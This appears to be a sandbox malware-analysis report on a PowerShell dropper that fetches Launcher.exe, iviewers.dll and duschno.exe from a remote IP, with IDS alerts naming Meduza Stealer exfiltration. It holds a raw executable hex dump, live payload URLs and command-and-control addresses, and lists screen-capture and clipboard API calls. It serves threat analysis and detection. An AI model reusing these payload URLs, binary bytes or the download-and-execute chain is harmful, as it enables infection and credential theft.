Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 07:52:54 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 09 Dec 2024 20:28:42 GMTETag: "13ba00-628dc35e76e87"Accept-Ranges: bytesContent-Length: 1292800Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 4e af 37 82 2f c1 64 82 2f c1 64 82 2f c1 64 c9 57 c6 65 83 2f c1 64 c9 57 c7 65 83 2f c1 64 ca aa c5 65 9b 2f c1 64 92 ab c2 65 8a 2f c1 64 92 ab c5 65 92 2f c1 64 92 ab c4 65 e0 2f c1 64 c9 57 c4 65 38 2f c1 64 c9 57 c2 65 85 2f c1 64 c9 57 c5 65 97 2f c1 64 82 2f c0 64 a5 2e c1 64 c9 57 c0 65 9d 2f c1 64 c9 aa c8 65 9d 2f c1 64 c9 aa 3e 64 83 2f c1 64 c9 aa c3 65 83 2f c1 64 52 69 63 68 82 2f c1 64 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 9d 37 3b 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 34 0d 00 00 a6 06 00 00 00 00 00 20 f2 0a 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 14 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 df 12 00 40 01 00 00 00 f0 13 00 e0 01 00 00 00 80 13 00 18 6c 00 00 00 00 00 00 00 00 00 00 00 00 14 00 3c 0d 00 00 d0 83 11 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 85 11 00 28 00 00 00 90 82 11 00 40 01 00 00 00 00 00 00 00 00 00 00 00 50 0d 00 78 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 90 32 0d 00 00 10 00 00 00 34 0d 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 a8 05 00 00 50 0d 00 00 aa 05 00 00 38 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 7c 00 00 00 00 13 00 00 5a 00 00 00 e2 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 18 6c 00 00 00 80 13 00 00 6e 00 00 00 3c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e0 01 00 00 00 f0 13 00 00 02 00 00 00 aa 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 0d 00 00 00 00 14 00 00 0e 00 00 00 ac 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; */*Host: api.ipify.orgCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 193.3.19.151 193.3.19.151

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: ARNES-NETAcademicandResearchNetworkofSloveniaSI ARNES-NETAcademicandResearchNetworkofSloveniaSI

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49704 -> 147.45.47.15:80
Source: Network traffic	Suricata IDS: 2050807 - Severity 1 - ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP) : 192.168.2.5:49709 -> 193.3.19.151:15666

Source: global traffic	HTTP traffic detected: GET /iviewers.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Launcher.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15
Source: global traffic	HTTP traffic detected: GET /duschno.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6F4A30 recv,recv,closesocket,WSACleanup,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

10_2_00007FF75A6F4A30

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; /Host: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /iviewers.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Launcher.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15
Source: global traffic	HTTP traffic detected: GET /duschno.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: powershell.exe, 00000000.00000002.2101966913.0000021997FA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2101966913.0000021998973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.15
Source: powershell.exe, 00000000.00000002.2101966913.00000219975A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2101966913.0000021998973000.00000004.00000800.00020000.00000000.sdmp, script.ps1	String found in binary or memory: http://147.45.47.15/Launcher.exe
Source: Launcher.exe, 00000003.00000002.2242142779.0000000007AB1000.00000004.00000800.00020000.00000000.sdmp, iviewers.dll.0.dr	String found in binary or memory: http://147.45.47.15/duschno.exe
Source: powershell.exe, 00000000.00000002.2101966913.00000219975A2000.00000004.00000800.00020000.00000000.sdmp, script.ps1	String found in binary or memory: http://147.45.47.15/iviewers.dll
Source: xdnfl52f.civ.exe, 0000000A.00000003.2481151975.000001D9D30D4000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2257752558.000001D9D30C1000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2481030999.000001D9D30D0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2481002391.000001D9D30D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.a.0/sTy
Source: xdnfl52f.civ.exe, 0000000A.00000003.2481151975.000001D9D30D4000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2257752558.000001D9D30C1000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2481030999.000001D9D30D0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2481002391.000001D9D30D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.hotosh
Source: powershell.exe, 00000000.00000002.2130097419.00000219A7525000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2130097419.00000219A73E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2101966913.0000021998AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.2101966913.0000021997371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2133704244.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2159379282.0000000007AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.2138728163.00000219AF7AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000000.00000002.2101966913.0000021997371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2133704244.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBjq
Source: xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org2O
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D3350000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D3350000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.2101966913.0000021997FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285551989.000001D9D3380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4e
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000000.00000002.2130097419.00000219A7525000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2130097419.00000219A73E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2101966913.0000021998AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26E0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28EB000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2274061388.000001D9D256E000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28F3000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26E8000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D33F2000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D286C000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D2874000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32D8000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32D0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D33FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285551989.000001D9D3380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarket
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D3350000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285551989.000001D9D3380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26E0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28EB000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2274061388.000001D9D256E000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28F3000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26E8000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D33F2000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D286C000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D2874000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32D8000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32D0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D33FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26EF000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2282519074.000001D9D3D08000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28FB000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D3402000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D287C000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26EF000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2282519074.000001D9D3D08000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28FB000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D3402000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D287C000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26EF000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2282519074.000001D9D3D08000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28FB000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D3402000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D287C000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49710 version: TLS 1.2

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_006790DA OpenClipboard,

3_2_006790DA

Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_00673450 GlobalAlloc,GlobalLock,StringFromGUID2,wsprintfW,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		3_2_00673450
Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_00672EF0 GlobalAlloc,GlobalLock,StringFromGUID2,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		3_2_00672EF0

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6F5B70 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SHCreateMemStream,SelectObject,DeleteDC,ReleaseDC,DeleteObject,EnterCriticalSection,LeaveCriticalSection,IStream_Size,IStream_Reset,IStream_Read,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

10_2_00007FF75A6F5B70

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\Launcher.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\iviewers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\xdnfl52f.civ.exe	Jump to dropped file

Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6F9D30 GetModuleHandleA,GetProcAddress,OpenProcess,NtQuerySystemInformation,NtQuerySystemInformation,GetCurrentProcess,NtQueryObject,GetFinalPathNameByHandleA,CloseHandle,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,		10_2_00007FF75A6F9D30
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6FA430 RtlAcquirePebLock,NtAllocateVirtualMemory,lstrcpyW,lstrcatW,NtAllocateVirtualMemory,lstrcpyW,RtlInitUnicodeString,RtlInitUnicodeString,LdrEnumerateLoadedModules,RtlReleasePebLock,_invalid_parameter_noinfo_noreturn,CoInitializeEx,lstrcpyW,lstrcatW,CoGetObject,lstrcpyW,lstrcatW,CoGetObject,CoUninitialize,		10_2_00007FF75A6FA430

Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_00679634	3_2_00679634
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04EFB4A0	4_2_04EFB4A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04EFB490	4_2_04EFB490
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A1B90	10_2_00007FF75A6A1B90
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A4B70	10_2_00007FF75A6A4B70
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6F5B70	10_2_00007FF75A6F5B70
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6AECB0	10_2_00007FF75A6AECB0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A2CA0	10_2_00007FF75A6A2CA0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6D5970	10_2_00007FF75A6D5970
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6ACA10	10_2_00007FF75A6ACA10
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6B9F80	10_2_00007FF75A6B9F80
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6DD080	10_2_00007FF75A6DD080
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6FD050	10_2_00007FF75A6FD050
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6EF020	10_2_00007FF75A6EF020
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6C20F6	10_2_00007FF75A6C20F6
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A20B0	10_2_00007FF75A6A20B0
